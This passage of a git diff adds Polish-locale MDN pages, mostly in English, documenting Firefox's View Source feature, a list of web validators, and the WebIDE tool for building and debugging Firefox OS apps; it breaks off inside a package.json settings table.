+ <li>Sublime Text</li>
+ </ul>
+ </li>
+</ul>
+<h3 id="Advanced_settings">Advanced settings</h3>
+<ul>
+ <li><em>Disable cache</em>: disable the browser cache to simulate first-load performance. From Firefox 33 onwards this setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed.</li>
+ <li><em>Disable JavaScript</em>: reload the current tab with JavaScript disabled</li>
+ <li><em>Enable chrome debugging</em>: enable you to use developer tools in the context of the browser itself, and not only web content</li>
+ <li><em>Enable remote debugging</em>: enable the developer tools to <a href="/en-US/docs/Tools/Remote_Debugging">debug remote Firefox instances</a></li>
+</ul>
+<h2 id="Main_Pane">Main Pane</h2>
+<p>The content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected.</p>
diff --git a/files/pl/narzędzia/view_source/index.html b/files/pl/narzędzia/view_source/index.html
new file mode 100644
index 0000000000..5781415e73
--- /dev/null
+++ b/files/pl/narzędzia/view_source/index.html
@@ -0,0 +1,82 @@
+---
+title: View Source
+slug: Narzędzia/View_source
+translation_of: Tools/View_source
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>View Source lets you look at the HTML or XML source for the page you're viewing. To activate View Source:</p>
+
+<ul>
+ <li>context-click in the page and select <em>View Page Source</em></li>
+ <li>press <kbd>Ctrl</kbd> + <kbd>U</kbd> on Windows and Linux, or <kbd>Cmd</kbd> + <kbd>U</kbd> on macOS</li>
+</ul>
+
+<p>The command opens a new tab with the source for the current page.</p>
+
+<h2 id="View_Source_features">View Source features</h2>
+
+<p>View Source has three additional features, which can be accessed from the context menu in the View Source tab:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16909/view_source_context_menu.png" style="display: block; height: 359px; margin: 0 auto; width: 225px;"></p>
+
+<dl>
+ <dt>Go to Line</dt>
+ <dd>Scrolls to the specified line. If the number is higher than the lines in a file, you receive an error message.</dd>
+ <dt>Wrap Long Lines (toggle)</dt>
+ <dd>Wraps long lines to the width of the page.</dd>
+ <dt>Syntax Highlighting (toggle)</dt>
+ <dd>Applies syntax highlighting to the code.When syntax highlighting is on, View Source also highlights parsing errors in red. Hovering your mouse over errors displays a tooltip explaining the error.</dd>
+</dl>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16910/view_source_error.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p>
+
+<p>This feature is useful when you're looking for HTML errors.</p>
+
+<p>To access Go to Line from the keyboard, press <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd>L</kbd> on macOS, or <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd> on Windows or Linux.</p>
+
+<h2 id="Link_to_a_line_number">Link to a line number</h2>
+
+<p>It is possible to link to a particular line, by adding the #lineNNN anchor to the url the browser will jump to the NNN line.</p>
+
+<p>For example <a>view-source:https://www.mozilla.org/#line100</a></p>
+
+<h2 id="View_Selection_Source">View Selection Source</h2>
+
+<p>If you select part of a web page and conext-click, you'll see a context menu item labeled "View Selection Source", that behaves just like "View Page Source", except you only see the source for the selection.</p>
+
+<h2 id="View_MathML_Source">View MathML Source</h2>
+
+<p>If you context-click while the mouse is over some <a href="/en-US/docs/Web/MathML">MathML</a>, you'll see a context menu item labeled "View MathML Source": click it to see the MathML source.</p>
+
+<h2 id="Limitations_of_View_Source">Limitations of View Source</h2>
+
+<p>There are limitations to what View Source does for you that you need to be aware of.</p>
+
+<h3 id="Error_reporter_≠_validator">Error reporter ≠ validator</h3>
+
+<p>View Source only reports parsing errors, <strong>not</strong> HTML validity errors. For example, putting a {{ HTMLElement("div") }} element as a child of a {{ HTMLElement("ul") }} element isn't a parse error, but it <strong>is not</strong> valid HTML. Therefore, this error will not be flagged in View Source. If you want to check that HTML is valid, you should use an HTML validator, such as <a class="external" href="http://validator.w3.org/" title="http://validator.w3.org/">the one offered by W3C</a>.</p>
+
+<h3 id="Not_all_parse_errors_are_reported">Not all parse errors are reported</h3>
+
+<p>Even though all the reported errors are parse errors according to the HTML specification, not all parse errors are reported by View Source. Among the errors that don't get reported:</p>
+
+<ul>
+ <li>Bytes that are illegal according to the document's encoding aren't marked as errors.</li>
+ <li>Forbidden characters aren't reported as errors.</li>
+ <li>Errors related to the end-of-file aren't reported.</li>
+ <li>Tree builder errors relating to text (as opposed to tags, comments, or doctypes) aren't reported.</li>
+ <li>Parse errors related to <code>xmlns</code> attributes aren't reported.</li>
+</ul>
+
+<h2 id="XML_syntax_highlighting">XML syntax highlighting</h2>
+
+<p>View Source uses the HTML tokenizer when highlighting XML source. While the tokenizer has support for processing instructions when highlighting XML source, that's the only XML-specific capability provided. Because of this, doctypes that have an internal subset are not highlighted correctly, and entity references to custom entities are also not highlighted correctly.</p>
+
+<p>This mishighlighting can be seen by viewing the source of Firefox chrome files (such as XUL documents). However, this shouldn't be a problem in practice when viewing typical XML files.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://hsivonen.iki.fi/view-source/" title="http://hsivonen.iki.fi/view-source/">HTML5 Parser-Based View Source Syntax Highlighting</a> (Blog post)</li>
+</ul>
diff --git a/files/pl/narzędzia/walidatory/index.html b/files/pl/narzędzia/walidatory/index.html
new file mode 100644
index 0000000000..ee649caa20
--- /dev/null
+++ b/files/pl/narzędzia/walidatory/index.html
@@ -0,0 +1,45 @@
+---
+title: Walidatory
+slug: Narzędzia/Walidatory
+tags:
+ - Narzędzia
+translation_of: Tools/Validators
+---
+<p> </p>
+<pre class="eval">Karty paneli bocznych nie są dostępne w tej chwili.
+Tune-up wizard odsyła z powrotem do devedge
+</pre>
+<p>Jeśli piszesz nowy kod, który nie waliduje się od razu, zobacz zgodne ze standardami narzędzia <a href="pl/Narz%c4%99dzia_autorskie_zgodne_ze_standardami">autorskie</a> i <a href="pl/Narz%c4%99dzia">developerskie</a>.</p>
+<h3 id="Rozszerzenia_Firefoksa_-_Walidatory" name="Rozszerzenia_Firefoksa_-_Walidatory">Rozszerzenia Firefoksa - Walidatory</h3>
+<h4 id="Quick_Reference_Sidebar_Tabs" name="Quick_Reference_Sidebar_Tabs">Quick Reference Sidebar Tabs</h4>
+<p>Zainstaluj DevEdge Toolbox Sidebars, by uzyskać szybki dostęp do odwołań sieciowych.</p>
+<h4 id="Checky" name="Checky">Checky</h4>
+<p><a class="external" href="http://checky.sourceforge.net/">Checky</a> dodaje podmenu do menu kontekstowego przeglądarek Netscape lub Mozilla, umożliwiając poddanie strony, którą aktualnie przeglądasz, osiemnastu różnym usługom walidacji i analizy.</p>
+<h3 id="Aplikacje_i_serwisy" name="Aplikacje_i_serwisy">Aplikacje i serwisy</h3>
+<h4 id="DevEdge_Web_Tune-Up_Wizard" name="DevEdge_Web_Tune-Up_Wizard">DevEdge Web Tune-Up Wizard</h4>
+<p><a class="external" href="http://devedge-temp.mozilla.org/toolbox/tools/2001/tune-up/">Ten interfejs do serwisów W3C</a> prowadzi autorów stron (od początkujących do średniozaawansowanych) przez proces aktualizacji zawartości, w celu obsługi przez Netscape 7.x, Mozilli i innych przeglądarek wspierających standardy W3C.</p>
+<h4 id="W3C_HTML_Validator" name="W3C_HTML_Validator">W3C HTML Validator</h4>
+<p><a class="external" href="http://validator.w3.org/">W3C HTML Validator</a> podda walidacji każdą stronę WWW pod kątem zgodności ze standardami W3C HTML. Jest bardzo użyteczny przy wykrywaniu właściwego jak i nieprawidłowego użycia HTML.</p>
+<h4 id="W3C_CSS_Validator" name="W3C_CSS_Validator">W3C CSS Validator</h4>
+<p><a class="external" href="http://jigsaw.w3.org/css-validator/">W3C CSS Validator</a> podda walidacji arkusz CSS w ramach strony internetowej lub zewnętrznego pliku pod kątem zgodności ze standardami W3C CSS.</p>
+<h4 id="W3C_RDF_Validator" name="W3C_RDF_Validator">W3C RDF Validator</h4>
+<p><a class="external" href="http://www.w3.org/RDF/Validator/">RDF Validator</a> podda walidacji pliki RDF/XML.</p>
+<h4 id="Link_Checker" name="Link_Checker">Link Checker</h4>
+<p><a class="external" href="http://validator.w3.org/checklink">Narzędzie to</a> sprawdzi odnośniki na podanej stronie.</p>
+<h4 id="HTML_Tidy" name="HTML_Tidy">HTML Tidy</h4>
+<p><a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> jest narzędziem, które może być wykorzystane do zgłaszania błędów na stronach HTML oraz do formatowania kodu stron internetowych w celu zwiększenia jego czytelności (część oprogramowania do tworzenia stron, jak <a class="external" href="http://www.chami.com/html-kit/">HTML-Kit</a>, zawiera wbudowany HTML Tidy, co czyni walidację prostą i szybką).</p>
+<h3 id="Serwisy_w_zakresie_dost.C4.99pno.C5.9Bci" name="Serwisy_w_zakresie_dost.C4.99pno.C5.9Bci">Serwisy w zakresie dostępności</h3>
+<h4 id="Lynx_Viewer" name="Lynx_Viewer">Lynx Viewer</h4>
+<p><a class="external" href="http://www.delorie.com/web/lynxview.html">Sprawdza stronę internetową</a>, używając wizualizacji Lynksa, umożliwia również walidację dostępności.</p>
+<h4 id="Bobby_Accessibility_Check" name="Bobby_Accessibility_Check">Bobby Accessibility Check</h4>
+<p><a class="external" href="http://bobby.watchfire.com/bobby/html/en/">Usługa</a> podda walidacji strony internetowe używając wytycznych dostępności, takich jak U.S. Section 508 i inne.</p>
+<div class="originaldocinfo">
+ <h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie">Informacje o dokumencie</h3>
+ <ul>
+ <li>Ostatnia aktualizacja: 16 sierpnia 2002</li>
+ <li>Informacja o prawach autorskich: © 2001-2003 Netscape.</li>
+ </ul>
+</div>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Tools/Validators", "fr": "fr/Outils/Validateurs", "it": "it/Strumenti/Validatori" } ) }}</p>
diff --git a/files/pl/narzędzia/webide/index.html b/files/pl/narzędzia/webide/index.html
new file mode 100644
index 0000000000..0598fae682
--- /dev/null
+++ b/files/pl/narzędzia/webide/index.html
@@ -0,0 +1,467 @@
+---
+title: WebIDE
+slug: Narzędzia/WebIDE
+tags:
+ - Apps
+ - B2G
+ - Debugging
+ - Firefox OS
+ - NeedsTranslation
+ - TopicStub
+ - WebIDE
+ - tool
+translation_of: Archive/WebIDE
+---
+<div class="geckoVersionNote">
+<p>WebIDE is available from Firefox 34 onwards.</p>
+</div>
+
+<div class="summary">
+<p>WebIDE is the replacement for the <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>. Like the App Manager, it enables you to run and debug <a href="/en-US/Firefox_OS">Firefox OS</a> apps using the <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> or a real Firefox OS device.</p>
+
+<p>However, it also provides an editing environment for you to create and develop Firefox OS apps, including a tree view of all the files in your app with the ability to edit and save them, and two app templates to help you get started.</p>
+
+<p>Finally, WebIDE enables you to connect the <a href="/en-US/docs/Tools">Firefox Developer Tools</a> to a number of other browsers, including Firefox for Android, Chrome on Android, and Safari on iOS. See the <a href="/en-US/docs/Tools/Remote_Debugging">Remote Debugging</a> page for instructions on how to connect to a specific browser.</p>
+</div>
+
+<p>With WebIDE, you first <a href="/en-US/docs/Tools/WebIDE#Setting_up_runtimes">set up one or more runtimes</a>. A runtime is an environment in which you'll run and debug the app. A runtime could be a Firefox OS device connected to the desktop over USB, or it could be a Firefox OS Simulator installed on the desktop itself.</p>
+
+<p>Next, you <a href="/en-US/docs/Tools/WebIDE#Creating_and_opening_apps">create an app, or open an existing app</a>. If you're creating a new app you start with a template that includes the directory structure and the minimum boilerplate you need to get started, or a more complete template that shows how to use a privileged API. WebIDE shows your app's files in a tree, and you can edit and save them using a built-in source editor. Of course, you don't have to use the built-in editor: you can develop your app entirely outside WebIDE, and only use it for debugging.</p>
+
+<p>Finally, you can <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Running_and_debugging_apps">install the app in one of the runtimes and run it</a>. You can then open the usual suite of developer tools - the <a href="/en-US/docs/Tools/Page_Inspector">Inspector</a>, <a href="/en-US/docs/Tools/Web_Console">Console</a>, <a href="/en-US/docs/Tools/Debugger">JavaScript Debugger</a> and so on - to examine and modify the running app.</p>
+
+<h2 id="System_requirements">System requirements</h2>
+
+<p>To develop and debug apps using WebIDE, all you need is Firefox version 33 or later. To test on a real Firefox OS device, you need a device running Firefox OS 1.2 or later, and a USB cable.</p>
+
+<p>You can only use WebIDE for Firefox OS if you're targeting Firefox OS 1.2 or later.</p>
+
+<h2 id="Opening_WebIDE">Opening WebIDE</h2>
+
+<p>There are three ways to open WebIDE:</p>
+
+<ul>
+ <li>In the Web Developer menu, click on the "WebIDE" entry and WebIDE opens.</li>
+ <li>Use the keybinding Shift-F8.</li>
+ <li>A dedicated icon in the Firefox toolbar. This is always present if you're using <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>, and with any Firefox from version 36 onwards it appears after you've opened the WebIDE once:</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9437/webide-icon.png" style="width: 897px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Here's what the WebIDE looks like:<img alt="" src="https://mdn.mozillademos.org/files/8033/webide-initial.png" style="width: 720px; height: 560px; display: block; margin-left: auto; margin-right: auto;">The dropdown on the left labeled "Open App" lets you open existing apps or create new ones. The dropdown on the right labeled "Select Runtime" lets you select a runtime or set up a new runtime.</p>
+
+<p>The buttons in the middle run, stop, and debug the app: they are only enabled when you have opened an app and selected a runtime.</p>
+
+<p>From Firefox 36, you can change the font size throughout WebIDE using the standard keyboard shortcuts (use <code>Command</code> instead of <code>Control</code> on OS X):</p>
+
+<ul>
+ <li><code>Ctrl +</code> increases font size</li>
+ <li><code>Ctrl -</code> decreases font size</li>
+ <li><code>Ctrl 0</code> resets the font size to the default</li>
+</ul>
+
+<h2 id="Setting_up_runtimes">Setting up runtimes</h2>
+
+<p>Under the "Select Runtime" dropdown, runtimes are grouped into three types:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Connecting_a_Firefox_OS_device">USB devices</a>: Firefox OS devices connected over USB. From Firefox 36 this also gets you connected to <a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">Firefox for Android over USB</a>.</li>
+ <li><a href="/en-US/docs/Tools/WebIDE#Adding_a_Simulator">Simulators</a>: instances of the Firefox OS Simulator that you've installed</li>
+ <li><a href="/en-US/docs/Tools/WebIDE#Custom_runtimes">Custom</a>: use this to connect a runtime to WebIDE using an arbitrary name and port. From Firefox 36, this runtime type is renamed "Other". If you have the <a href="/en-US/docs/Tools/Valence">Valence</a> add-on installed, this section will also list the <a href="/en-US/docs/Tools/WebIDE#Valence-enabled_runtimes">additional runtimes it enables</a>.</li>
+</ul>
+
+<p>The first time you click the dropdown, you might not see any runtimes here:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8043/webide-no-runtimes.png" style="width: 723px; height: 564px; display: block; margin-left: auto; margin-right: auto;">The rest of this section describes how you can add some runtimes.</p>
+
+<h3 id="Connecting_a_Firefox_OS_device">Connecting a Firefox OS device</h3>
+
+<p>Before you can connect a Firefox OS device, there's some setup you have to go through:</p>
+
+<ul>
+ <li><strong>Check your Firefox OS version: </strong>Make sure your device is running Firefox OS 1.2/Boot2Gecko 1.2 or higher. To check the version, go to the Settings app on the device, then <code>Device Information &gt; Software</code>. If you don't have a high enough version, find your device in the <a href="/en-US/Firefox_OS/Developer_phone_guide">developer phone guide</a> and follow the instructions for upgrading.</li>
+ <li><strong>Enable remote debugging: </strong>In the Settings app on the device, go to <code>Device information &gt; More information &gt; Developer</code>.
+ <ul>
+ </ul>
+
+ <ul>
+ <li>Firefox OS 1.3 and earlier: "Remote Debugging" is just a simple checkbox. Check it.</li>
+ <li>Firefox OS 1.4 and later: "Remote Debugging" asks you to enable for just ADB, or for ADB and DevTools. Select "ADB and DevTools".</li>
+ </ul>
+ </li>
+ <li><strong>Disable Screen lock on your device:</strong> In the Settings app on the device, go to <code>Screen Lock</code> and uncheck the <code>Lock Screen</code> checkbox. This is required because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.</li>
+ <li><strong>If you want unrestricted debugging privileges, including certified apps, built-in apps, and apps already installed on a real device</strong>: See the section on <a href="/en-US/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29">Unrestricted app debugging (including certified apps, main process, etc.)</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Linux only:</strong></p>
+
+<ul>
+ <li>Add a <code>udev</code> rules file, as documented in step 3 of this guide to <a href="http://developer.android.com/tools/device.html#setting-up">setting up an Android device</a>. The <code>idVendor</code> attribute to use for the Geeksphone is "05c6", and <a href="http://developer.android.com/tools/device.html#VendorIds">this page</a> lists other <code>idVendor</code> values.</li>
+</ul>
+</div>
+
+<div class="note">
+<p><strong>Windows only:</strong></p>
+
+<ul>
+ <li>You need to install drivers, as documented in step 3 of this guide to <a href="http://developer.android.com/tools/device.html#setting-up">setting up an Android device</a>. You can find drivers for Geeksphone devices on the <a href="http://downloads.geeksphone.com/">Geeksphone web site</a>. Windows 8 by default will not let you install unsigned drivers. See this tutorial on <a class="external external-icon" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"How to install an unsigned driver on Windows 8"</a>.</li>
+ <li>If WebIDE can't see your device after following all the steps, you may have to <a class="external external-icon" href="http://blog.fh-kaernten.at/wehr/?p=1182">edit adb_usb.ini</a>.</li>
+</ul>
+</div>
+
+<p>If there are any other Android devices connected to your computer, disconnect them. Now connect the device to the computer using USB. You should see the device appear under "USB DEVICES":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8045/webide-select-runtime-keon.png" style="width: 710px; height: 562px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>If you don't see your device, see the <a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Troubleshooting</a> page.</p>
+
+<h3 id="Connecting_to_Firefox_for_Android">Connecting to Firefox for Android</h3>
+
+<p>From Firefox 36 onwards Android devices connected over USB and running Firefox for Android appear as a runtime under "USB devices". See the article on <a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">connecting to Firefox for Android from WebIDE</a>.</p>
+
+<p>Before Firefox 36, you can <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">connect to Firefox for Android without using WebIDE at all</a>, or can use WebIDE by setting up a <a href="/en-US/docs/Tools/WebIDE#Remote_runtime">custom remote runtime</a>.</p>
+
+<h3 id="Adding_a_Simulator">Adding a Simulator</h3>
+
+<p><span style="line-height: 1.5;">The <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> is <span style="line-height: 1.5;">a version of the higher layers of Firefox OS</span> that simulates a Firefox OS device, but runs on the desktop</span><span style="line-height: 1.5;">. </span><span style="line-height: 1.5;">It runs in a window the same size as a Firefox OS device, includes the Firefox OS user interface and built-in apps, and simulates many of the Firefox OS device APIs.</span></p>
+
+<p><span style="line-height: 1.5;">This means that in many cases, you don't need a real device to test and debug your app. </span></p>
+
+<p>The Simulator doesn't ship inside Firefox but as a Firefox <a href="/en-US/Add-ons">add-on</a>. If you click "Install Simulator" in the Runtimes dropdown menu, you will go to a page from which you can install Simulators for various versions of Firefox OS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8039/webide-install-simulator.png" style="width: 720px; height: 560px; display: block; margin-left: auto; margin-right: auto;">You can install as many as you like. Be patient, though: the Simulator may take a few minutes to download. Once you've installed some Simulators you can close this "Extra Components" window, and the Simulators you've installed appear as options in the Runtimes dropdown menu:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8047/webide-select-runtime-keon-simulator.png" style="width: 712px; height: 559px; display: block; margin-left: auto; margin-right: auto;">To learn more about the Simulator, see its <a href="/en-US/docs/Tools/Firefox_OS_Simulator">documentation page</a>.</p>
+
+<h3 id="Custom_runtimes">Custom runtimes</h3>
+
+<h4 id="Remote_runtime">Remote runtime</h4>
+
+<p>With a custom remote runtime you can use an arbitrary hostname and port to connect to the remote device.</p>
+
+<p>Under the hood, Firefox OS devices and Android devices connect to the desktop using a program called the Android Debug Bridge, or <a href="http://developer.android.com/tools/help/adb.html">ADB</a>. By default, WebIDE uses an add-on called the ADB Helper: this simplifies the process for you by installing ADB and setting up port forwarding so the Firefox desktop tools can exchange messages with the device.</p>
+
+<p>This is convenient in most cases, but sometimes you might want to use ADB outside of WebIDE: for example, you might be running ADB directly from the command line. In that case you'll connect to the device by specifying a host and port using the <a href="http://developer.android.com/tools/help/adb.html#forwardports"><code>adb forward</code></a> command (example: <code>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</code>).<br>
+ <br>
+ If you then want to use WebIDE to connect as well, you should <a href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons#w_how-to-disable-extensions-and-themes">disable the ADB Helper add-on</a> and connect WebIDE using the Custom runtime option, entering the host and port that you passed to <code>adb forward</code> (example: <code>localhost:6000</code>).</p>
+
+<p>Also, before Firefox 36, the ADB Helper does not yet support connecting to Firefox for Android, so if you want to connect WebIDE to Firefox for Android, you'll need to set up your own port forwarding and use a custom runtime. <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">See more about connecting to Firefox for Android using ADB prior to Firefox 36</a>.</p>
+
+<h4 id="Valence-enabled_runtimes">Valence-enabled runtimes</h4>
+
+<p>If you have the <a href="/en-US/docs/Tools/Valence">Valence</a> add-on installed, you'll see three additional runtimes:</p>
+
+<ul>
+ <li>Chrome on Android</li>
+ <li>Safari on iOS</li>
+ <li>Chrome Desktop</li>
+</ul>
+
+<p>For instructions on how to connect to these runtimes, see the relevant entry in the <a href="/en-US/docs/Tools/Remote_Debugging">Remote Debugging</a> page.</p>
+
+<h2 id="Selecting_a_runtime">Selecting a runtime</h2>
+
+<p>Once you've set up a runtime you can select it using the "Select Runtime" menu.</p>
+
+<ul>
+ <li>If you select a Simulator, WebIDE launches the Simulator.</li>
+ <li>If you select a Firefox OS device WebIDE connects to the device. On the device a dialog will ask you to confirm that you wish to connect: press "OK".</li>
+</ul>
+
+<p>Now the "play" button in the center of the WebIDE toolbar is enabled: click it to install and run the app in the selected runtime.</p>
+
+<h3 id="Runtime_menu_items">Runtime menu items</h3>
+
+<p>When a runtime is selected, the Runtimes dropdown menu has up to five extra items:</p>
+
+<dl>
+ <dt><strong>Runtime Info</strong></dt>
+ <dd>Information on the current runtime</dd>
+ <dt><strong>Permissions Table</strong></dt>
+ <dd>A table summarising <a href="/en-US/Apps/Build/App_permissions">app permissions</a> for the current runtime, indicating, for each API and each <a href="/en-US/Marketplace/Options/Packaged_apps#Types_of_packaged_apps">app type</a>, whether access is allowed (✓), denied (✗), or whether the user is prompted (!)</dd>
+</dl>
+
+<dl>
+ <dt><strong>Device Preferences</strong></dt>
+ <dd>A table listing, and letting you edit, the preferences that are made available in the runtime via the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPrefService">Preferences service</a>. These are platform-level configuration values exposing the same set of data as Firefox's about:config (but for the device). Because these preferences are highly security-sensitive, you need to disable the <a href="/en-US/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29">DevTools restricted privileges setting</a> before you can modify them.</dd>
+ <dt><strong>Device Settings</strong> (new in Firefox 38/Firefox OS 3)</dt>
+ <dd>A table listing, and letting you edit, the settings that can be controlled in the Firefox OS Settings app. Most things on the device which have a UI control to change (volume, alarm, etc.) are found in Device Settings. Because these settings are less sensitive than the device preferences, you can modify them without removing the restricted privileges setting. However, since this feature is new in Gecko 38 you need the WebIDE in Firefox 38 and a nightly build of Firefox OS or the Simulator.</dd>
+ <dt><strong>Screenshot</strong></dt>
+ <dd>A command to take a screenshot from the runtime.</dd>
+</dl>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10185/webide-runtimes.png" style="width: 833px; height: 601px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p> </p>
+
+<h2 id="Creating_and_opening_apps">Creating and opening apps</h2>
+
+<p>Under the "Open App" menu you get three options: create a new app, open a packaged app, and open a hosted app:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8049/webide-open-app-empty.png" style="width: 723px; height: 562px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Create_a_new_app">Create a new app</h3>
+
+<p>Select "New App..." to create a new app. You'll see a dialog offering you a choice between two templates, "Privileged Empty App" and "Privileged App".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8053/webide-new-app.png" style="width: 739px; height: 591px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Both templates are from Mozilla's <a href="https://github.com/mozilla/mortar">app template collection</a>, and provide you with the basic structure you need to get started. The "Privileged App" shows how an app can use permissions to load cross-origin content.</p>
+
+<p>Once you've selected a template you'll be asked to name the app and select a directory to store the files, and then the new app is opened in the <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">project editor</a>.</p>
+
+<h3 id="Open_a_packaged_app">Open a packaged app</h3>
+
+<p>Select "Open Packaged App..." to open a <a href="/en-US/Marketplace/Options/Packaged_apps">packaged app</a>. You'll be asked to select a directory containing the app's <a href="/en-US/Apps/Build/Manifest">manifest</a>, and the app will be opened in the <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">project editor</a>.</p>
+
+<h3 id="Open_a_hosted_app">Open a hosted app</h3>
+
+<p>Select "Open Hosted App..." to open a <a href="/en-US/Marketplace/Options/Hosted_apps">hosted app</a>. You'll be asked to enter a URL pointing to the app's <a href="/en-US/Apps/Build/Manifest">manifest</a>, and the app will be opened in the <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">project editor</a>.</p>
+
+<h2 id="Editing_apps">Editing apps</h2>
+
+<p>The project editor provides an environment for editing apps. There's a tree view on the left of all the files in the app: you can add and delete files here using a context menu. There's an editor pane on the right.</p>
+
+<h3 id="The_app_summary_page">The app summary page</h3>
+
+<p>When you first open or create an app, the editor pane is occupied by the app summary page, which is as shown below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8055/webide-new-app-editor.png" style="width: 846px; height: 625px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>You can always get back to the app summary page by clicking on the root of the tree on the left.</p>
+
+<h3 id="Manifest_validation">Manifest validation</h3>
+
+<p>WebIDE automatically checks the manifest for certain common problems. If it finds a problem it indicates that the app is invalid and describes the problem in the app's summary:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8063/webide-invalid-manifest.png" style="width: 847px; height: 626px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Of course, you can edit the <a href="/en-US/Apps/Build/Manifest">manifest.webapp</a> file right in the project editor as well.</p>
+
+<h3 id="The_source_editor">The source editor</h3>
+
+<p>WebIDE uses the <a href="http://codemirror.net/">CodeMirror</a> source editor.</p>
+
+<h4 id="Source_editor_shortcuts">Source editor shortcuts</h4>
+
+<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
+
+<h4 id="Code_completion">Code completion</h4>
+
+<p>When editing CSS and JavaScript, the editor provides autocomplete suggestions. CSS autocompletion is always enabled:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8057/webide-css-autocomplete.png" style="width: 849px; height: 628px; display: block; margin-left: auto; margin-right: auto;">To display autocomplete suggestions in JavaScript press Control + Space:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8059/webide-js-autocomplete.png" style="width: 867px; height: 653px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 id="Inline_documentation">Inline documentation</h4>
+
+<p>The editor also shows inline documentation for JavaScript. Press Shift + Space to see a popup containing documentation for the symbol your cursor is on:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8061/webide-js-inline-docs.png" style="width: 872px; height: 652px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Clicking the <code>[docs]</code> link in the popup will take you to the MDN page for the symbol.</p>
+
+<h4 id="Saving_files">Saving files</h4>
+
+<p>For changes to your files to take effect you need to save them. Files with unsaved changes get an asterisk next to their name in the tree view, and you can save files using the menu or Control+S (Command+S on Mac OS X).</p>
+
+<h3 id="Removing_projects">Removing projects</h3>
+
+<p>To remove an app from WebIDE, go to the <a href="/en-US/docs/Tools/WebIDE#The_app_summary_page">app summary page</a> and click "Remove Project".</p>
+
+<h2 id="Running_a_custom_build_step">Running a custom build step</h2>
+
+<div class="geckoVersionNote">
+<p>New in Firefox 37.</p>
+</div>
+
+<p>For some use cases you need to run a custom command before pushing your app to the device. For example, you might want to satisfy JavaScript dependencies or minify CSS, or use WebIDE to develop Gaia apps or Cordova apps, both of which require a custom build step.</p>
+
+<p>From Firefox 37 you can do this by including a file called "package.json" in the root of your app. This is the same file that's used to <a href="https://docs.npmjs.com/files/package.json">package a node.js library</a>, so you might already have one in the root of your project. If you don't, you can create one for this purpose.</p>
+
+<p>Inside package.json, WebIDE looks for a property called "webide". The table below summarises the syntax of "webide":</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td style="width: 10%;"><code>webide</code></td>
+ <td style="width: 10%;"> </td>
+ <td style="width: 10%;"> </td>
+ <td style="width: 70%;">
+ <p>Object containing instructions for WebIDE.</p>
+
+ <p>This may contain two properties, both optional: "<code>prepackage</code>" and "<code>packageDir</code>".</p>
+ </td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td><code>prepackage</code></td>
+ <td> </td>
+ <td>
+ <p>Specifies a command-line command for WebIDE to run before pushing the app to the runtime.</p>
+
